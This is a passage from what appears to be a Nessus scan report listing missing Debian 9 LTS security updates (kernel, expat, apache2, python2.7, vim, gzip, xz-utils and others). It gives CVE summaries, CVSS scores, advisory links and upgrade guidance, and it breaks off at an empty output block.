- An out-of-bounds memory write flaw was found in the Linux kernel's joystick devices subsystem in versions before 5.9-rc1, in the way the user calls ioctl JSIOCSBTNMAP. This flaw allows a local user to crash the system or possibly escalate their privileges on the system. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability. (CVE-2021-3612)

- A flaw was found in the KVM's AMD code for supporting SVM nested virtualization. The flaw occurs when processing the VMCB (virtual machine control block) provided by the L1 guest to spawn/handle a nested guest (L2). Due to improper validation of the int_ctl field, this issue could allow a malicious L1 to enable AVIC support (Advanced Virtual Interrupt Controller) for the L2 guest. As a result, the L2 guest would be allowed to read/write physical pages of the host, resulting in a crash of the entire system, leak of sensitive data or potential guest-to-host escape. This flaw affects Linux kernel versions prior to 5.14-rc7. (CVE-2021-3653)

- A vulnerability was found in the Linux kernel in versions prior to v5.14-rc1. Missing size validations on inbound SCTP packets may allow the kernel to read uninitialized memory. (CVE-2021-3655)

- A lack of CPU resource in the Linux kernel tracing module functionality in versions prior to 5.14-rc3 was found in the way user uses trace ring buffer in a specific way. Only privileged local users (with CAP_SYS_ADMIN capability) could use this flaw to starve the resources causing denial of service.
(CVE-2021-3679)

- hso_free_net_device in drivers/net/usb/hso.c in the Linux kernel through 5.13.4 calls unregister_netdev without checking for the NETREG_REGISTERED state, leading to a use-after-free and a double free.
(CVE-2021-37159)

- ** DISPUTED ** In drivers/char/virtio_console.c in the Linux kernel before 5.13.4, data corruption or loss can be triggered by an untrusted device that supplies a buf->len value exceeding the buffer size. NOTE:
the vendor indicates that the cited data corruption is not a vulnerability in any existing use case; the length validation was added solely for robustness in the face of anomalous host OS behavior.
(CVE-2021-38160)

- arch/x86/kvm/mmu/paging_tmpl.h in the Linux kernel before 5.12.11 incorrectly computes the access permissions of a shadow page, leading to a missing guest protection page fault. (CVE-2021-38198)

- fs/nfs/nfs4client.c in the Linux kernel before 5.13.4 has incorrect connection-setup ordering, which allows operators of remote NFSv4 servers to cause a denial of service (hanging of mounts) by arranging for those servers to be unreachable during trunking detection. (CVE-2021-38199)

- inflect is vulnerable to Inefficient Regular Expression Complexity (CVE-2021-3820)

- drivers/usb/host/max3421-hcd.c in the Linux kernel before 5.13.6 allows physically proximate attackers to cause a denial of service (use-after-free and panic) by removing a MAX-3421 USB device in certain situations. (CVE-2021-38204)

- drivers/net/ethernet/xilinx/xilinx_emaclite.c in the Linux kernel before 5.13.3 makes it easier for attackers to defeat an ASLR protection mechanism because it prints a kernel pointer (i.e., the real IOMEM pointer). (CVE-2021-38205)

- A race condition was discovered in ext4_write_inline_data_end in fs/ext4/inline.c in the ext4 subsystem in the Linux kernel through 5.13.13. (CVE-2021-40490)

- prealloc_elems_and_freelist in kernel/bpf/stackmap.c in the Linux kernel through 5.14.9 allows unprivileged users to trigger an eBPF multiplication integer overflow with a resultant out-of-bounds write. (CVE-2021-41864)

- The decode_data function in drivers/net/hamradio/6pack.c in the Linux kernel before 5.13.13 has a slab out-of-bounds write. Input from a process that has the CAP_NET_ADMIN capability can lead to root access.
(CVE-2021-42008)

- The firewire subsystem in the Linux kernel through 5.14.13 has a buffer overflow related to drivers/media/firewire/firedtv-avc.c and drivers/media/firewire/firedtv-ci.c, because avc_ca_pmt mishandles bounds checking. (CVE-2021-42739)

- An issue was discovered in the Linux kernel before 5.14.15. There is an array-index-out-of-bounds flaw in the detach_capi_ctr function in drivers/isdn/capi/kcapi.c. (CVE-2021-43389)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/linux
https://www.debian.org/lts/security/2021/dla-2843
https://security-tracker.debian.org/tracker/CVE-2020-16119
https://security-tracker.debian.org/tracker/CVE-2020-3702
https://security-tracker.debian.org/tracker/CVE-2021-0920
https://security-tracker.debian.org/tracker/CVE-2021-20317
https://security-tracker.debian.org/tracker/CVE-2021-20321
https://security-tracker.debian.org/tracker/CVE-2021-20322
https://security-tracker.debian.org/tracker/CVE-2021-22543
https://security-tracker.debian.org/tracker/CVE-2021-3612
https://security-tracker.debian.org/tracker/CVE-2021-3653
https://security-tracker.debian.org/tracker/CVE-2021-3655
https://security-tracker.debian.org/tracker/CVE-2021-3679
https://security-tracker.debian.org/tracker/CVE-2021-37159
https://security-tracker.debian.org/tracker/CVE-2021-3732
https://security-tracker.debian.org/tracker/CVE-2021-3753
https://security-tracker.debian.org/tracker/CVE-2021-3760
https://security-tracker.debian.org/tracker/CVE-2021-3816
https://security-tracker.debian.org/tracker/CVE-2021-38160
https://security-tracker.debian.org/tracker/CVE-2021-38198
https://security-tracker.debian.org/tracker/CVE-2021-38199
https://security-tracker.debian.org/tracker/CVE-2021-3820
https://security-tracker.debian.org/tracker/CVE-2021-38204
https://security-tracker.debian.org/tracker/CVE-2021-38205
https://security-tracker.debian.org/tracker/CVE-2021-40490
https://security-tracker.debian.org/tracker/CVE-2021-41864
https://security-tracker.debian.org/tracker/CVE-2021-42008
https://security-tracker.debian.org/tracker/CVE-2021-4273
https://security-tracker.debian.org/tracker/CVE-2021-42739
https://security-tracker.debian.org/tracker/CVE-2021-43389
https://packages.debian.org/source/stretch/linux

Solution

Upgrade the linux packages.

For Debian 9 stretch, these problems have been fixed in version 4.9.290-1.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.0 (CVSS2#E:F/RL:OF/RC:C)

References

CVE	CVE-2020-3702
CVE	CVE-2020-16119
CVE	CVE-2021-0920
CVE	CVE-2021-3612
CVE	CVE-2021-3653
CVE	CVE-2021-3655
CVE	CVE-2021-3679
CVE	CVE-2021-3732
CVE	CVE-2021-3753
CVE	CVE-2021-3760
CVE	CVE-2021-3816
CVE	CVE-2021-3820
CVE	CVE-2021-4273
CVE	CVE-2021-20317
CVE	CVE-2021-20321
CVE	CVE-2021-20322
CVE	CVE-2021-22543
CVE	CVE-2021-37159
CVE	CVE-2021-38160
CVE	CVE-2021-38198
CVE	CVE-2021-38199
CVE	CVE-2021-38204
CVE	CVE-2021-38205
CVE	CVE-2021-40490
CVE	CVE-2021-41864
CVE	CVE-2021-42008
CVE	CVE-2021-42739
CVE	CVE-2021-43389
XREF	CISA-KNOWN-EXPLOITED:2022/06/13

Plugin Information

Published: 2021/12/17, Modified: 2023/04/25

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.290-1

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

157248 - Debian DLA-2904-1 : expat - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2904 advisory.

- In Expat (aka libexpat) before 2.4.3, a left shift by 29 (or more) places in the storeAtts function in xmlparse.c can lead to realloc misbehavior (e.g., allocating too few bytes, or only freeing memory).
(CVE-2021-45960)

- In doProlog in xmlparse.c in Expat (aka libexpat) before 2.4.3, an integer overflow exists for m_groupSize. (CVE-2021-46143)

- addBinding in xmlparse.c in Expat (aka libexpat) before 2.4.3 has an integer overflow. (CVE-2022-22822)

- build_model in xmlparse.c in Expat (aka libexpat) before 2.4.3 has an integer overflow. (CVE-2022-22823)

- defineAttribute in xmlparse.c in Expat (aka libexpat) before 2.4.3 has an integer overflow.

(CVE-2022-22824)

- lookup in xmlparse.c in Expat (aka libexpat) before 2.4.3 has an integer overflow. (CVE-2022-22825)

- nextScaffoldPart in xmlparse.c in Expat (aka libexpat) before 2.4.3 has an integer overflow.
(CVE-2022-22826)

- storeAtts in xmlparse.c in Expat (aka libexpat) before 2.4.3 has an integer overflow. (CVE-2022-22827)

- Expat (aka libexpat) before 2.4.4 has a signed integer overflow in XML_GetBuffer, for configurations with a nonzero XML_CONTEXT_BYTES. (CVE-2022-23852)

- Expat (aka libexpat) before 2.4.4 has an integer overflow in the doProlog function. (CVE-2022-23990)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1002994
https://security-tracker.debian.org/tracker/source-package/expat
https://www.debian.org/lts/security/2022/dla-2904
https://security-tracker.debian.org/tracker/CVE-2021-45960
https://security-tracker.debian.org/tracker/CVE-2021-46143
https://security-tracker.debian.org/tracker/CVE-2022-22822
https://security-tracker.debian.org/tracker/CVE-2022-22823
https://security-tracker.debian.org/tracker/CVE-2022-22824
https://security-tracker.debian.org/tracker/CVE-2022-22825
https://security-tracker.debian.org/tracker/CVE-2022-22826
https://security-tracker.debian.org/tracker/CVE-2022-22827
https://security-tracker.debian.org/tracker/CVE-2022-23852
https://security-tracker.debian.org/tracker/CVE-2022-23990
https://packages.debian.org/source/stretch/expat

Solution

Upgrade the expat packages.

For Debian 9 stretch, these problems have been fixed in version 2.2.0-2+deb9u4.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

9.0 (CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-45960
CVE	CVE-2021-46143
CVE	CVE-2022-22822
CVE	CVE-2022-22823
CVE	CVE-2022-22824
CVE	CVE-2022-22825
CVE	CVE-2022-22826
CVE	CVE-2022-22827
CVE	CVE-2022-23852
CVE	CVE-2022-23990

Plugin Information

Published: 2022/01/31, Modified: 2023/11/17

Plugin Output

tcp/0

```
Remote package installed : libexpat1_2.2.0-2+deb9u1
Should be : libexpat1_2.2.0-2+deb9u4
```

157321 - Debian DLA-2907-1 : apache2 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2907 advisory.

- A crafted URI sent to httpd configured as a forward proxy (ProxyRequests on) can cause a crash (NULL pointer dereference) or, for configurations mixing forward and reverse proxy declarations, can allow for requests to be directed to a declared Unix Domain Socket endpoint (Server Side Request Forgery). This issue affects Apache HTTP Server 2.4.7 up to 2.4.51 (included). (CVE-2021-44224)

- A carefully crafted request body can cause a buffer overflow in the mod_lua multipart parser (r:parsebody() called from Lua scripts). The Apache httpd team is not aware of an exploit for the vulnerability though it might be possible to craft one. This issue affects Apache HTTP Server 2.4.51 and earlier. (CVE-2021-44790)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/apache2
https://www.debian.org/lts/security/2022/dla-2907
https://security-tracker.debian.org/tracker/CVE-2021-44224
https://security-tracker.debian.org/tracker/CVE-2021-44790
https://packages.debian.org/source/stretch/apache2

Solution

Upgrade the apache2 packages.

For Debian 9 stretch, these problems have been fixed in version 2.4.25-3+deb9u12.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.1 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44224
CVE	CVE-2021-44790
XREF	IAVA:2021-A-0604-S

Plugin Information

Published: 2022/02/02, Modified: 2023/11/17

Plugin Output

tcp/0

```
Remote package installed : apache2_2.4.25-3+deb9u7
Should be : apache2_2.4.25-3+deb9u12
```

```
Remote package installed : apache2-bin_2.4.25-3+deb9u7
Should be : apache2-bin_2.4.25-3+deb9u12
Remote package installed : apache2-data_2.4.25-3+deb9u7
Should be : apache2-data_2.4.25-3+deb9u12
Remote package installed : apache2-utils_2.4.25-3+deb9u7
Should be : apache2-utils_2.4.25-3+deb9u12
```

158032 - Debian DLA-2919-1 : python2.7 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2919 advisory.

- Python 3.x through 3.9.1 has a buffer overflow in PyCArg_repr in _ctypes/callproc.c, which may lead to remote code execution in certain Python applications that accept floating-point numbers as untrusted input, as demonstrated by a 1e300 argument to c_double.from_param. This occurs because sprintf is used unsafely. (CVE-2021-3177)

- A flaw was found in Python, specifically in the FTP (File Transfer Protocol) client library in PASV (passive) mode. The issue is how the FTP client trusts the host from the PASV response by default. This flaw allows an attacker to set up a malicious FTP server that can trick FTP clients into connecting back to a given IP address and port. This vulnerability could lead to FTP client scanning ports, which otherwise would not have been possible. (CVE-2021-4189)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/python2.7
https://www.debian.org/lts/security/2022/dla-2919
https://security-tracker.debian.org/tracker/CVE-2021-3177
https://security-tracker.debian.org/tracker/CVE-2021-4189
https://packages.debian.org/source/stretch/python2.7

Solution

Upgrade the python2.7 packages.

For Debian 9 stretch, these problems have been fixed in version 2.7.13-2+deb9u6.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.1 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-3177
CVE	CVE-2021-4189
XREF	IAVA:2021-A-0052-S

Plugin Information

Published: 2022/02/13, Modified: 2023/11/09

Plugin Output

tcp/0

```
Remote package installed : libpython2.7-minimal_2.7.13-2+deb9u3
Should be : libpython2.7-minimal_2.7.13-2+deb9u6
Remote package installed : libpython2.7-stdlib_2.7.13-2+deb9u3
Should be : libpython2.7-stdlib_2.7.13-2+deb9u6
Remote package installed : python2.7_2.7.13-2+deb9u3
Should be : python2.7_2.7.13-2+deb9u6
Remote package installed : python2.7-minimal_2.7.13-2+deb9u3
Should be : python2.7-minimal_2.7.13-2+deb9u6
```

158676 - Debian DLA-2935-1 : expat - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2935 advisory.

- Expat (aka libexpat) before 2.4.4 has a signed integer overflow in XML_GetBuffer, for configurations with a nonzero XML_CONTEXT_BYTES. (CVE-2022-23852)

- xmltok_impl.c in Expat (aka libexpat) before 2.4.5 lacks certain validation of encoding, such as checks for whether a UTF-8 character is valid in a certain context. (CVE-2022-25235)

- xmlparse.c in Expat (aka libexpat) before 2.4.5 allows attackers to insert namespace-separator characters into namespace URIs. (CVE-2022-25236)

- In Expat (aka libexpat) before 2.4.5, an attacker can trigger stack exhaustion in build_model via a large nesting depth in the DTD element. (CVE-2022-25313)

- In Expat (aka libexpat) before 2.4.5, there is an integer overflow in storeRawNames. (CVE-2022-25315)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005894
https://security-tracker.debian.org/tracker/source-package/expat
https://www.debian.org/lts/security/2022/dla-2935
https://security-tracker.debian.org/tracker/CVE-2022-23852
https://security-tracker.debian.org/tracker/CVE-2022-25235
https://security-tracker.debian.org/tracker/CVE-2022-25236
https://security-tracker.debian.org/tracker/CVE-2022-25313
https://security-tracker.debian.org/tracker/CVE-2022-25315
https://packages.debian.org/source/stretch/expat

Solution

Upgrade the expat packages.

For Debian 9 stretch, these problems have been fixed in version 2.2.0-2+deb9u5.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.1 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

CVE	CVE-2022-23852
CVE	CVE-2022-25235
CVE	CVE-2022-25236
CVE	CVE-2022-25313
CVE	CVE-2022-25315

Plugin Information

Published: 2022/03/07, Modified: 2023/11/06

Plugin Output

tcp/0

```
Remote package installed : libexpat1_2.2.0-2+deb9u1
Should be : libexpat1_2.2.0-2+deb9u5
```

158978 - Debian DLA-2947-1 : vim - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2947 advisory.

Multiple security vulnerabilities have been discovered in vim, an enhanced vi editor. Buffer overflows, out-of-bounds reads and Null pointer dereferences may lead to a denial of service (application crash) or other unspecified impact. For Debian 9 stretch, these problems have been fixed in version 2:8.0.0197-4+deb9u5. We recommend that you upgrade your vim packages. For the detailed security status of vim please refer to its security tracker page at: https://security-tracker.debian.org/tracker/vim Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/vim
https://www.debian.org/lts/security/2022/dla-2947
https://security-tracker.debian.org/tracker/CVE-2021-3872
https://security-tracker.debian.org/tracker/CVE-2021-3927
https://security-tracker.debian.org/tracker/CVE-2021-3928
https://security-tracker.debian.org/tracker/CVE-2021-3973
https://security-tracker.debian.org/tracker/CVE-2021-3974
https://security-tracker.debian.org/tracker/CVE-2021-3984
https://security-tracker.debian.org/tracker/CVE-2021-4019
https://security-tracker.debian.org/tracker/CVE-2021-4069
https://security-tracker.debian.org/tracker/CVE-2021-4192
https://security-tracker.debian.org/tracker/CVE-2021-4193
https://security-tracker.debian.org/tracker/CVE-2022-0213
https://security-tracker.debian.org/tracker/CVE-2022-0319
https://security-tracker.debian.org/tracker/CVE-2022-0359
https://security-tracker.debian.org/tracker/CVE-2022-0361
https://security-tracker.debian.org/tracker/CVE-2022-0368
https://security-tracker.debian.org/tracker/CVE-2022-0408
https://security-tracker.debian.org/tracker/CVE-2022-0554
https://security-tracker.debian.org/tracker/CVE-2022-0685
https://security-tracker.debian.org/tracker/CVE-2022-0714
https://security-tracker.debian.org/tracker/CVE-2022-0729
https://packages.debian.org/source/stretch/vim

Solution

Upgrade the vim packages.

For Debian 9 stretch, these problems have been fixed in version 2

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-3872
CVE	CVE-2021-3927
CVE	CVE-2021-3928
CVE	CVE-2021-3973
CVE	CVE-2021-3974
CVE	CVE-2021-3984
CVE	CVE-2021-4019
CVE	CVE-2021-4069
CVE	CVE-2021-4192
CVE	CVE-2021-4193
CVE	CVE-2022-0213
CVE	CVE-2022-0319
CVE	CVE-2022-0359
CVE	CVE-2022-0361
CVE	CVE-2022-0368
CVE	CVE-2022-0408
CVE	CVE-2022-0554
CVE	CVE-2022-0685
CVE	CVE-2022-0714
CVE	CVE-2022-0729

Plugin Information

Published: 2022/03/16, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : vim-common_2:8.0.0197-4+deb9u1
Should be : vim-common_2:8.0.0197-4+deb9u5
Remote package installed : vim-tiny_2:8.0.0197-4+deb9u1
Should be : vim-tiny_2:8.0.0197-4+deb9u5
Remote package installed : xxd_2:8.0.0197-4+deb9u1
Should be : xxd_2:8.0.0197-4+deb9u5
```

159141 - Debian DLA-2960-1 : apache2 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2960 advisory.

Several vulnerabilities have been discovered in the Apache HTTP server, which could result in denial of service, request smuggling or buffer overflows. For Debian 9 stretch, these problems have been fixed in version 2.4.25-3+deb9u13. We recommend that you upgrade your apache2 packages. For the detailed security status of apache2 please refer to its security tracker page at: https://security- tracker.debian.org/tracker/apache2 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/apache2
https://www.debian.org/lts/security/2022/dla-2960
https://security-tracker.debian.org/tracker/CVE-2022-22719
https://security-tracker.debian.org/tracker/CVE-2022-22720
https://security-tracker.debian.org/tracker/CVE-2022-22721
https://security-tracker.debian.org/tracker/CVE-2022-23943
https://packages.debian.org/source/stretch/apache2

Solution

Upgrade the apache2 packages.

For Debian 9 stretch, these problems have been fixed in version 2.4.25-3+deb9u13.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-22719
CVE	CVE-2022-22720
CVE	CVE-2022-22721
CVE	CVE-2022-23943
XREF	IAVA:2022-A-0124-S

Plugin Information

Published: 2022/03/22, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : apache2_2.4.25-3+deb9u7
Should be : apache2_2.4.25-3+deb9u13
Remote package installed : apache2-bin_2.4.25-3+deb9u7
Should be : apache2-bin_2.4.25-3+deb9u13
Remote package installed : apache2-data_2.4.25-3+deb9u7
Should be : apache2-data_2.4.25-3+deb9u13
Remote package installed : apache2-utils_2.4.25-3+deb9u7
Should be : apache2-utils_2.4.25-3+deb9u13
```

159318 - Debian DLA-2963-1 : tzdata - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has a package installed that is affected by a vulnerability as referenced in the dla-2963 advisory.

This update includes the changes in tzdata 2022a. Notable changes are: - Adjusted DST rules for Palestine, already in effect. For Debian 9 stretch, this problem has been fixed in version 2021a-0+deb9u3. We recommend that you upgrade your tzdata packages. For the detailed security status of tzdata please refer to its security tracker page at: https://security-tracker.debian.org/tracker/tzdata Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/tzdata
https://www.debian.org/lts/security/2022/dla-2963
https://packages.debian.org/source/stretch/tzdata

Solution

Upgrade the tzdata packages.

For Debian 9 stretch, this problem has been fixed in version 2021a-0+deb9u3.

Risk Factor

High

Plugin Information

Published: 2022/03/29, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : tzdata_2019a-0+deb9u1
Should be : tzdata_2021a-0+deb9u3
```

159625 - Debian DLA-2975-1 : openjpeg2 - LTS security update

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2975 advisory.

Multiple vulnerabilities have been discovered in openjpeg2, the open-source JPEG 2000 codec.
CVE-2020-27842 Null pointer dereference through specially crafted input. The highest impact of this flaw is to application availability. CVE-2020-27843 The flaw allows an attacker to provide specially crafted input to the conversion or encoding functionality, causing an out-of-bounds read. The highest threat from this vulnerability is system availability. CVE-2021-29338 Integer overflow allows remote attackers to crash the application, causing a denial of service. This occurs when the attacker uses the command line option -ImgDir on a directory that contains 1048576 files. CVE-2022-1122 Input directory with a large number of files can lead to a segmentation fault and a denial of service due to a call of free() on an uninitialized pointer. For Debian 9 stretch, these problems have been fixed in version 2.1.2-1.1+deb9u7.
We recommend that you upgrade your openjpeg2 packages. For the detailed security status of openjpeg2 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/openjpeg2 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/openjpeg2
https://www.debian.org/lts/security/2022/dla-2975
https://security-tracker.debian.org/tracker/CVE-2020-27842
https://security-tracker.debian.org/tracker/CVE-2020-27843
https://security-tracker.debian.org/tracker/CVE-2021-29338
https://security-tracker.debian.org/tracker/CVE-2022-1122
https://packages.debian.org/source/stretch/openjpeg2

Solution

Upgrade the openjpeg2 packages.

For Debian 9 stretch, these problems have been fixed in version 2.1.2-1.1+deb9u7.

Risk Factor

High

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.1 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-27842
CVE	CVE-2020-27843
CVE	CVE-2021-29338
CVE	CVE-2022-1122
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2022/04/10, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libopenjp2-7_2.1.2-1.1+deb9u3
Should be : libopenjp2-7_2.1.2-1.1+deb9u7
```

159626 - Debian DLA-2976-1 : gzip - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2976 advisory.

- An arbitrary file write vulnerability was found in GNU gzip's zgrep utility. When zgrep is applied on the attacker's chosen file name (for example, a crafted file name), this can overwrite an attacker's content to an arbitrary attacker-selected file. This flaw occurs due to insufficient validation when processing filenames with two or more newlines where selected content and the target file names are embedded in crafted multi-line file names. This flaw allows a remote, low privileged attacker to force zgrep to write arbitrary files on the system. (CVE-2022-1271)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009168
https://security-tracker.debian.org/tracker/source-package/gzip
https://www.debian.org/lts/security/2022/dla-2976
https://security-tracker.debian.org/tracker/CVE-2022-1271
https://packages.debian.org/source/stretch/gzip

Solution

Upgrade the gzip packages.

For Debian 9 stretch, this problem has been fixed in version 1.6-5+deb9u1.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

9.0 (CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-1271
XREF	IAVA:2024-A-0327

Plugin Information

Published: 2022/04/10, Modified: 2024/06/07

Plugin Output

tcp/0

```
Remote package installed : gzip_1.6-5+b1
Should be : gzip_1.6-5+deb9u1
```

159624 - Debian DLA-2977-1 : xz-utils - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2977 advisory.

An arbitrary-file-write vulnerability was discovered in xz-utils, which provides XZ-format compression utilities. For Debian 9 stretch, this problem has been fixed in version 5.2.2-1.2+deb9u1. We recommend that you upgrade your xz-utils packages. For the detailed security status of xz-utils please refer to its security tracker page at: https://security-tracker.debian.org/tracker/xz-utils Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009167
https://security-tracker.debian.org/tracker/source-package/xz-utils
https://www.debian.org/lts/security/2022/dla-2977
https://security-tracker.debian.org/tracker/CVE-2022-1271
https://packages.debian.org/source/stretch/xz-utils

Solution

Upgrade the xz-utils packages.

For Debian 9 stretch, this problem has been fixed in version 5.2.2-1.2+deb9u1.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

9.0 (CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-1271
XREF	IAVA:2024-A-0327

Plugin Information

Published: 2022/04/10, Modified: 2025/01/24

Plugin Output

tcp/0

```
